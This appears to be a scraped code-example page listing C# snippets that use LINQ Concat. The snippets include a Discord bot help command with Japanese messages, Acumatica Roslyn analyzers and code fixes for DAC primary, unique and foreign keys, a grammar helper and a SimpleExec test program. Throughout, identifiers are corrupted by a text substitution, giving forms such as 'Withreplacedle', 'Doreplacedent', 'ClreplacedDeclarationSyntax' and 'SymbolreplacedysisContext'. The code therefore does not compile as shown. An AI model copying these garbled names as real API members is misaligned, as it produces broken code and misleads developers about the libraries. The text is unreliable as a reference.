builder.Append(x.Name);
return
new EmbedFieldBuilder()
.WithName(builder.ToString())
.WithValue(x.Summary)
.WithIsInline(true);
})
.ToList()
}
.Withreplacedle("利用可能コマンド")
.WithDescription("現在利用可能なコマンドを下記に列挙します。")
.WithCurrentTimestamp()
.WithColor(Colors.Blue)
.WithFooter(EmbedManager.CurrentFooter)
.WithAuthor(Context.User)
).ConfigureAwait(false);
}
else
{
var command = ModuleManager.Service.Commands.FirstOrDefault(x => x.Name == name || x.Aliases.Contains(name));
if (command == null)
{
throw new Exception($"`{name}`に一致する名称、もしくはエイリアスを持つコマンドが見つかりませんでした。");
}
else
{
await ReplyAsync
(
message: Context.User.Mention,
embed:
new EmbedBuilder()
{
Fields = new List<EmbedFieldBuilder>()
{
new EmbedFieldBuilder()
.WithName("~~――~~")
.WithValue("*引数*")
}
.Concat(command.Parameters.Select
(x =>
new EmbedFieldBuilder()
.WithName(x.Name)
.WithValue($"**{x.Summary}**\n既定値`{(x.DefaultValue ?? "null")}`\n型`{x.Type.Name}`{(x.IsOptional ? "\n(オプション)" : "")}{(x.IsMultiple ? "\n(複数指定可)" : "")}{(x.IsRemainder ? "\n(余白許容)" : "")}")
.WithIsInline(true)
))
.Concat(new List<EmbedFieldBuilder>
{
new EmbedFieldBuilder()
.WithName("~~―――――~~")
.WithValue("*エイリアス*")
})
.Concat(command.Aliases.Select
(x =>
new EmbedFieldBuilder()
.WithName(x)
.WithValue("\u200b")
.WithIsInline(true)
))
.ToList()
}
.Withreplacedle(command.Name)
.WithDescription(command.Summary)
.WithCurrentTimestamp()
.WithColor(Colors.Blue)
.WithFooter(EmbedManager.CurrentFooter)
.WithAuthor(Context.User)
).ConfigureAwait(false);
}
}
}
19
View Source File : IncorrectDeclarationOfDacKeyFix.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
private SyntaxNode PlaceKeysIntoNewKeysContainer(Doreplacedent doreplacedent, SyntaxNode root, List<ClreplacedDeclarationSyntax> keyNodesNotInContainer,
string containerName, ClreplacedDeclarationSyntax dacNode, CancellationToken cancellation)
{
var nodesToTrack = keyNodesNotInContainer.Concat(dacNode.ToEnumerable());
SyntaxNode trackingRoot = root.TrackNodes(nodesToTrack);
dacNode = trackingRoot.GetCurrentNode(dacNode);
if (dacNode == null)
return root;
int positionToInsertKeysContainer = containerName == ReferentialIntegrity.UniqueKeyClreplacedName
? GetPositionToInsertUKContainer(dacNode)
: GetPositionToInsertFKContainer(dacNode);
var generator = SyntaxGenerator.GetGenerator(doreplacedent);
var keysContainerNode = CreateKeysContainerClreplacedNode(generator, containerName, keyNodesNotInContainer)
.WithAdditionalAnnotations(Formatter.Annotation);
var newDacNode = generator.InsertMembers(dacNode, positionToInsertKeysContainer, keysContainerNode);
cancellation.ThrowIfCancellationRequested();
trackingRoot = trackingRoot.ReplaceNode(dacNode, newDacNode);
var keyNodesInChangedTree = keyNodesNotInContainer.Select(keyNode => trackingRoot.GetCurrentNode(keyNode))
.Where(keyNode => keyNode != null)
.ToList(capacity: keyNodesNotInContainer.Count);
if (keyNodesInChangedTree.Count == 0)
return root;
return trackingRoot.RemoveNodes(keyNodesInChangedTree, SyntaxRemoveOptions.KeepNoTrivia | SyntaxRemoveOptions.KeepUnbalancedDirectives);
}
19
View Source File : DacForeignKeyDeclarationAnalyzer.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
protected override void MakeSpecificDacKeysreplacedysis(SymbolreplacedysisContext symbolContext, PXContext context, DacSemanticModel dac,
List<INamedTypeSymbol> dacForeignKeys, Dictionary<INamedTypeSymbol, List<ITypeSymbol>> dacFieldsByKey)
{
symbolContext.CancellationToken.ThrowIfCancellationRequested();
if (dacForeignKeys.Count == 0)
{
ReportNoForeignKeyDeclarationsInDac(symbolContext, context, dac);
return;
}
INamedTypeSymbol foreignKeysContainer = dac.Symbol.GetTypeMembers(ReferentialIntegrity.ForeignKeyClreplacedName)
.FirstOrDefault();
//We can register code fix only if there is no FK nested type in DAC or there is a public static FK clreplaced. Otherwise we will break the code.
bool registerCodeFix = foreignKeysContainer == null ||
(foreignKeysContainer.DeclaredAccessibility == Accessibility.Public && foreignKeysContainer.IsStatic);
List<INamedTypeSymbol> keysNotInContainer = GetKeysNotInContainer(dacForeignKeys, foreignKeysContainer);
if (keysNotInContainer.Count == 0)
return;
symbolContext.CancellationToken.ThrowIfCancellationRequested();
Location dacLocation = dac.Node.GetLocation();
var keysNotInContainerLocations = GetKeysLocations(keysNotInContainer, symbolContext.CancellationToken).ToList(capacity: keysNotInContainer.Count);
if (dacLocation == null || keysNotInContainerLocations.Count == 0)
return;
var dacLocationArray = new[] { dacLocation };
var diagnosticProperties = new Dictionary<string, string>
{
{ nameof(RefIntegrityDacKeyType), RefIntegrityDacKeyType.ForeignKey.ToString() },
{ DiagnosticProperty.RegisterCodeFix, registerCodeFix.ToString() }
}
.ToImmutableDictionary();
foreach (Location keyLocation in keysNotInContainerLocations)
{
var otherKeyLocations = keysNotInContainerLocations.Where(location => location != keyLocation);
var additionalLocations = dacLocationArray.Concat(otherKeyLocations);
symbolContext.ReportDiagnosticWithSuppressionCheck(
Diagnostic.Create(Descriptors.PX1036_WrongDacForeignKeyDeclaration, keyLocation, additionalLocations, diagnosticProperties),
context.CodereplacedysisSettings);
}
}
19
View Source File : DacPrimaryAndUniqueKeyDeclarationAnalyzer.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
private void CheckBigGroupOfKeysForPrimaryKeyAndUniqueKeysContainer(SymbolreplacedysisContext symbolContext, PXContext context, DacSemanticModel dac,
List<INamedTypeSymbol> keyDeclarations,
Dictionary<INamedTypeSymbol, List<ITypeSymbol>> dacFieldsByKey)
{
var primaryKey = keyDeclarations.Find(key => key.Name == ReferentialIntegrity.PrimaryKeyClreplacedName);
if (primaryKey == null)
{
//If there is no primary key - try to find suitable unique key and rename it. Otherwise report no primary key in DAC
ProcessDacWithoutPrimaryKeyAndWithSeveralUniqueKeys(symbolContext, context, dac, keyDeclarations, dacFieldsByKey);
return;
}
INamedTypeSymbol uniqueKeysContainer = dac.Symbol.GetTypeMembers(ReferentialIntegrity.UniqueKeyClreplacedName)
.FirstOrDefault();
//We can register code fix only if there is no UK nested type in DAC or there is a public static UK clreplaced. Otherwise we will break the code.
bool registerCodeFix = uniqueKeysContainer == null ||
(uniqueKeysContainer.DeclaredAccessibility == Accessibility.Public && uniqueKeysContainer.IsStatic);
List<INamedTypeSymbol> keysNotInContainer = GetKeysNotInContainer(keyDeclarations, uniqueKeysContainer, primaryKey);
if (keysNotInContainer.Count == 0)
return;
symbolContext.CancellationToken.ThrowIfCancellationRequested();
Location dacLocation = dac.Node.GetLocation();
var keysNotInContainerLocations = GetKeysLocations(keysNotInContainer, symbolContext.CancellationToken).ToList(capacity: keysNotInContainer.Count);
if (dacLocation == null || keysNotInContainerLocations.Count == 0)
return;
var dacLocationArray = new[] { dacLocation };
var diagnosticProperties = new Dictionary<string, string>
{
{ nameof(RefIntegrityDacKeyType), RefIntegrityDacKeyType.UniqueKey.ToString() },
{ nameof(UniqueKeyCodeFixType), UniqueKeyCodeFixType.MultipleUniqueKeys.ToString() },
{ DiagnosticProperty.RegisterCodeFix, registerCodeFix.ToString() }
}
.ToImmutableDictionary();
foreach (Location keyLocation in keysNotInContainerLocations)
{
var otherKeyLocations = keysNotInContainerLocations.Where(location => location != keyLocation);
var additionalLocations = dacLocationArray.Concat(otherKeyLocations);
symbolContext.ReportDiagnosticWithSuppressionCheck(
Diagnostic.Create(Descriptors.PX1036_WrongDacMultipleUniqueKeyDeclarations, keyLocation, additionalLocations, diagnosticProperties),
context.CodereplacedysisSettings);
}
}
19
View Source File : IncorrectDeclarationOfDacKeyFix.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
private SyntaxNode PlaceKeysIntoExistingContainer(SyntaxNode root, List<ClreplacedDeclarationSyntax> keyNodesNotInContainer,
ClreplacedDeclarationSyntax keysContainerNode, CancellationToken cancellation)
{
var nodesToTrack = keyNodesNotInContainer.Concat(keysContainerNode.ToEnumerable());
SyntaxNode trackingRoot = root.TrackNodes(nodesToTrack);
var keyNodesInChangedTree = keyNodesNotInContainer.Select(keyNode => trackingRoot.GetCurrentNode(keyNode))
.Where(keyNode => keyNode != null)
.ToList(capacity: keyNodesNotInContainer.Count);
if (keyNodesInChangedTree.Count == 0)
return root;
trackingRoot = trackingRoot.RemoveNodes(keyNodesInChangedTree, SyntaxRemoveOptions.KeepNoTrivia | SyntaxRemoveOptions.KeepUnbalancedDirectives);
var keysContainerNodeInChangedTree = trackingRoot.GetCurrentNode(keysContainerNode);
if (keysContainerNodeInChangedTree == null)
return root;
cancellation.ThrowIfCancellationRequested();
var newMembersList = keysContainerNodeInChangedTree.Members.InsertRange(index: keysContainerNodeInChangedTree.Members.Count,
keyNodesNotInContainer.Select(RemoveStructuredTriviaFromKeyNode));
var keysContainerNodeWithAddedKeys = keysContainerNodeInChangedTree.WithMembers(newMembersList)
.WithAdditionalAnnotations(Formatter.Annotation);
return trackingRoot.ReplaceNode(keysContainerNodeInChangedTree, keysContainerNodeWithAddedKeys);
}
19
View Source File : ViewDeclarationOrderAnalyzer.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
private static void replacedyzeDacViewsForNumberOfCaches(PXGraphSemanticModel graphSemanticModel, SymbolreplacedysisContext symbolContext,
PXContext pxContext, IGrouping<ITypeSymbol, DataViewInfo> dacViews,
ILookup<ITypeSymbol, DataViewInfo> viewsGroupedByDAC)
{
var dacViewsDeclaredInGraph = dacViews.Where(view => GraphContainsViewDeclaration(graphSemanticModel, view));
ITypeSymbol dac = dacViews.Key;
int dacViewDeclarationOrder = dacViews.Min(view => view.DeclarationOrder);
var baseDacs = dac.GetBaseTypes()
.Where(t => t.IsDAC() && viewsGroupedByDAC.Contains(t))
.ToList();
if (baseDacs.Count != 1)
return;
ITypeSymbol baseDac = baseDacs[0];
int baseDacViewOrder = viewsGroupedByDAC[baseDac].Min(baseDacView => baseDacView.DeclarationOrder);
DiagnosticDescriptor descriptor = dacViewDeclarationOrder > baseDacViewOrder
? Descriptors.PX1004_ViewDeclarationOrder //the first declared DAC view goes after the first declared base DAC view and two caches will be created
: Descriptors.PX1006_ViewDeclarationOrder; //the first declared DAC view goes before the first declared base DAC view and one cache will be created
var baseDacViewsDeclaredInGraph = viewsGroupedByDAC[baseDac].Where(view => GraphContainsViewDeclaration(graphSemanticModel, view));
var viewsToShowDiagnostic = dacViewsDeclaredInGraph.Concat(baseDacViewsDeclaredInGraph);
ReportDiagnostic(descriptor, symbolContext, pxContext, viewsToShowDiagnostic, dac, baseDac);
}
19
View Source File : PXGraphEventSemanticModel.cs
License : GNU General Public License v3.0
Project Creator : Acumatica
License : GNU General Public License v3.0
Project Creator : Acumatica
private IEnumerable<IMethodSymbol> GetAllGraphMethodsFromBaseToDerived()
{
IEnumerable<ITypeSymbol> baseTypes = BaseGraphModel.GraphSymbol
.GetGraphWithBaseTypes()
.Reverse();
if (BaseGraphModel.Type == GraphType.PXGraphExtension)
{
baseTypes = baseTypes.Concat(
BaseGraphModel.Symbol.GetGraphExtensionWithBaseExtensions(_pxContext,
SortDirection.Ascending,
includeGraph: false));
}
return baseTypes.SelectMany(t => t.GetMembers().OfType<IMethodSymbol>());
}
19
View Source File : Grammar.cs
License : MIT License
Project Creator : adamant
License : MIT License
Project Creator : adamant
public IEnumerable<GrammarRule> AncestorRules(GrammarRule rule)
{
var parents = ParentRules(rule).ToList();
return parents.Concat(parents.SelectMany(AncestorRules)).Distinct();
}
19
View Source File : Program.cs
License : Apache License 2.0
Project Creator : adamralph
License : Apache License 2.0
Project Creator : adamralph
public static int Main(string[] args)
{
if (args.Contains("unicode"))
{
Console.OutputEncoding = Encoding.Unicode;
args = args.Concat(new[] { "Pi (\u03a0)" }).ToArray();
}
var input = args.Contains("in")
? Console.In.ReadToEnd()
.Replace("\r", "\\r", StringComparison.Ordinal)
.Replace("\n", "\\n", StringComparison.Ordinal)
: null;
Console.Out.WriteLine($"SimpleExecTester (stdin): {input}");
Console.Out.WriteLine($"SimpleExecTester (stdout): {string.Join(" ", args)}");
Console.Error.WriteLine($"SimpleExecTester (stderr): {string.Join(" ", args)}");
if (args.Contains("large"))
{
Console.Out.WriteLine(new string('x', (int)Math.Pow(2, 12)));
Console.Error.WriteLine(new string('x', (int)Math.Pow(2, 12)));
}
var exitCode = 0;
if (args.FirstOrDefault(arg => int.TryParse(arg, out exitCode)) != null)
{
return exitCode;
}
if (args.Contains("sleep"))
{
Thread.Sleep(Timeout.Infinite);
return 0;
}
Console.WriteLine($"foo={Environment.GetEnvironmentVariable("foo")}");
return 0;
}
See More Examples